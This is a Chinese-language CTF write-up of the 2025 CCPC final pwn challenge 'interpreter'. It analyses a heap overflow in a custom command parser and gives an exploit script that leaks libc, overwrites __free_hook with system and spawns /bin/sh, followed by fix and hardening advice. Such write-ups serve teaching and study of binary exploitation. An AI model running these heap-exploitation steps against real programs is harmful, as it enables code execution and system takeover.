2025ccb决赛interpreter
字数 1513
更新时间 2026-04-25 12:06:51

2025 CCPC 总决赛 interpreter 题目解析与漏洞利用教学文档

一、题目概述

题目名称:interpreter
技术领域:二进制安全/漏洞利用(Pwn)
题目类型:序列化解析器漏洞
涉及技术:堆溢出、堆管理机制利用、libc泄漏、ROP链构造

二、程序功能与逻辑分析

2.1 基本命令结构

程序实现了一个简单的命令行解释器,支持三个基本命令:

  1. add - 添加数据
  2. delete - 删除数据
  3. show - 显示数据

2.2 输入解析机制

程序通过扫描字符串解析命令,遇到空格、冒号或字符串结尾时停止:

for (s_1 = s; *s_1 != ' ' && *s_1 && *s_1 != ':'; ++s_1)
    ;

等价于:

s_1 = s;
while (*s_1 != ' ' && *s_1 && *s_1 != ':')
    ++s_1;

2.3 命令处理流程

if (*date == ':' || !*date)
    goto LABEL_15;
*date = 0;
if (!strcmp(s, "add")) {
    add(date + 1);
} else if (!strcmp(s, "delete")) {
    delete(date + 1);
} else {
    if (strcmp(s, "show")) {
    LABEL_15:
        puts("Invalid command");
        return __readfsqword(0x28u) ^ v3;
    }
    show(date + 1);
}

三、核心函数分析

3.1 add函数分析

函数原型add(const char* data)

3.1.1 输入格式

  • 基本格式:add data:title:aa|subtitle:bb
  • 解析逻辑:以冒号为分隔符,data: 后的内容是实际处理的数据

3.1.2 关键代码逻辑

if (!strcmp(data, "data")) {
    s1a = (char *)&data[i + 1];
    for (j = 0; s1a[j]; ++j)
        ;
    // 数据存储
    if (s2) {
        sub_CF7(s2, (__int64)s1a);
        *((_DWORD *)inited + 1) = j;
        *((_QWORD *)inited + 1) = s2;
    }
}

3.1.3 初始化函数

char *init_choice() {
    int n15;
    for (n15 = 0; n15 <= 15; ++n15) {
        if (!heapptr[2 * n15] && !*((_DWORD *)&unk_2020A4 + 4 * n15))
            return (char *)&heaplist + 16 * n15;
    }
    return 0;
}
  • 遍历16个槽位,找到空闲位置
  • 返回堆表指针

3.2 sub_CF7函数(关键解析函数)

3.2.1 基本解析逻辑

while (1) {
    s2 = a1;
    for (i = 0; a1[i] != ':' && a1[i] != '|' && a1[i]; ++i)
        ;
    if (!a1[i])
        return __readfsqword(0x28u) ^ v18;
    
    if (a1[i] == '|') {
        a1 += (unsigned int)(i + 1);
    } else {
        // 处理标签和数据
    }
}

3.2.2 标签类型

程序识别四种标签:

  • title (0x15D4)
  • subtitle (0x15DA)
  • remark (0x15E3)
  • author (0x15EA)

3.2.3 数据重构逻辑

if (v9) {
    v3 = v9++;
    a1_[v3] = '|';
}
_title__1 = off_202020[n3]; // "title"
while (*_title__1) {
    v4 = _title__1++;
    v5 = v9++;
    a1_[v5] = *v4;
}
v6 = v9++;
a1_[v6] = 58;  // ':'

for (k = 0; j > k; ++k) {
    v7 = v9++;
    a1_[v7] = *(_BYTE *)((int)k + v17);
}
*(_BYTE *)(j + v17) = 0;

3.3 delete函数分析

unsigned __int64 __fastcall delete(const char *s1_1) {
    // ...
    if (!strcmp(s1_1, "index")) {
        s1a = (char *)&s1_1[i + 1];
        for (j = 0; s1a[j] != ' ' && s1a[j]; ++j)
            ;
        n0xF = atoi(s1a);
        if (n0xF <= 0xF) {
            v7 = (void **)((char *)&heaplist + 16 * n0xF);
            if (v7[1]) {
                free(v7[1]);
                v7[1] = 0;
                *((_DWORD *)v7 + 1) = 0;
                printf("Deleted data #%d\n", n0xF);
            }
        }
    }
}

四、漏洞分析

4.1 漏洞位置

sub_CF7函数的数据重构过程中存在堆溢出漏洞。当重构后的字符串长度超过原始分配的缓冲区大小时,会发生溢出。

4.2 漏洞触发条件

  1. 输入特定的数据格式导致字符串重构
  2. 重构后的字符串长度大于原始分配空间
  3. 溢出覆盖相邻堆块的管理结构

4.3 关键漏洞代码

for (k = 0; j > k; ++k) {
    v7 = v9++;
    a1_[v7] = *(_BYTE *)((int)k + v17);
}
// 潜在的溢出点:v9可能超过缓冲区大小

五、漏洞利用(Exploit)详解

5.1 利用思路

  1. 堆布局准备:通过多次add/delete操作塑造堆布局
  2. 信息泄露:利用堆溢出泄露libc地址
  3. 控制流劫持:覆盖__free_hook为system函数地址
  4. 获取shell:释放包含/bin/sh的堆块

5.2 完整Exploit代码分析

5.2.1 初始化和堆布局

def exploit(io):
    # 创建不同大小的堆块塑造堆布局
    add(io, b"A" * 0x27)      # chunk 0
    add(io, b"A" * 0xF7)      # chunk 1
    add(io, b"HHHHHH1")       # chunk 2
    add(io, b"HHHHHH2")       # chunk 3
    add(io, b"B" * 0xF7)      # chunk 4
    add(io, b"C" * 0xF7)      # chunk 5
    add(io, b"D" * 0xF7)      # chunk 6
    add(io, b"E" * (0xF7 - 0x40))  # chunk 7
    add(io, b"F" * 0xF7)      # chunk 8
    add(io, b"F" * 0xF7)      # chunk 9
    add(io, b"F" * 0xF7)      # chunk 10
    add(io, b"F" * 0xF7)      # chunk 11

5.2.2 触发漏洞和堆风水

# 释放一些堆块创建空洞
delete(io, 0)
delete(io, 2)
delete(io, 3)

# 关键:触发解析器bug,使重构字符串写入超出其strdup分配的空间
add(io, b":title:AAAAAAAAA:subtitle:A" + p32(0x601))
delete(io, 1)
add(io, b"A" * 0x4F7)  # 触发堆合并等操作

5.2.3 泄露libc地址

show(io)
io.recvuntil(b"Data #8:\n")
io.recvuntil(b": ")
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc.address = leak - 0x3EBCA0
log.success(f"libc base: {hex(libc.address)}")

5.2.4 控制流劫持

# 通过堆操作准备覆盖目标
delete(io, 1)
add(io, b"Y" * 0x127)
delete(io, 1)
add(io, b"Y" * 0x126)
delete(io, 1)
add(io, b"Y" * 0x125)
delete(io, 1)

# 覆盖__free_hook为system
add(io, b"Y" * 0x120 + p64(libc.sym["__free_hook"]))
add(io, b"/bin/sh\x00")
add(io, p64(libc.sym["system"]))

# 触发system("/bin/sh")
delete(io, 2)

5.3 技术要点

  1. 堆风水(Heap Feng Shui):通过精心安排堆块的分配和释放,控制堆布局
  2. unlink利用:利用堆溢出修改相邻堆块的元数据
  3. tcache攻击:现代glibc堆利用的常见技术
  4. __free_hook劫持:覆盖全局钩子函数指针控制程序流

六、防护与修复建议

6.1 漏洞修复

  1. 边界检查:在字符串重构时添加长度检查
  2. 安全的内存操作:使用安全函数如strncpy替代不安全的复制
  3. 输入验证:严格验证用户输入的格式和长度

6.2 防御措施

  1. 堆完整性检查:启用glibc的完整性检查
  2. 地址空间布局随机化(ASLR):虽然被绕过,但仍增加利用难度
  3. 控制流完整性(CFI):防止控制流劫持
  4. 堆隔离:将敏感数据与用户数据隔离

七、学习要点总结

  1. 序列化解析器安全:自定义解析器常因边界检查不严导致漏洞
  2. 堆溢出利用技术:理解堆管理机制是成功利用的关键
  3. 现代漏洞利用链:从信息泄露到控制流劫持的完整链条
  4. 调试与分析技巧:静态分析与动态调试相结合
  5. 利用脚本编写:自动化漏洞利用过程

注:本文档基于提供的链接内容整理,详细描述了2025 CCPC总决赛interpreter题目的漏洞原理和利用方法。实际利用时需根据具体环境和保护机制进行调整。

相似文章
相似文章
 全屏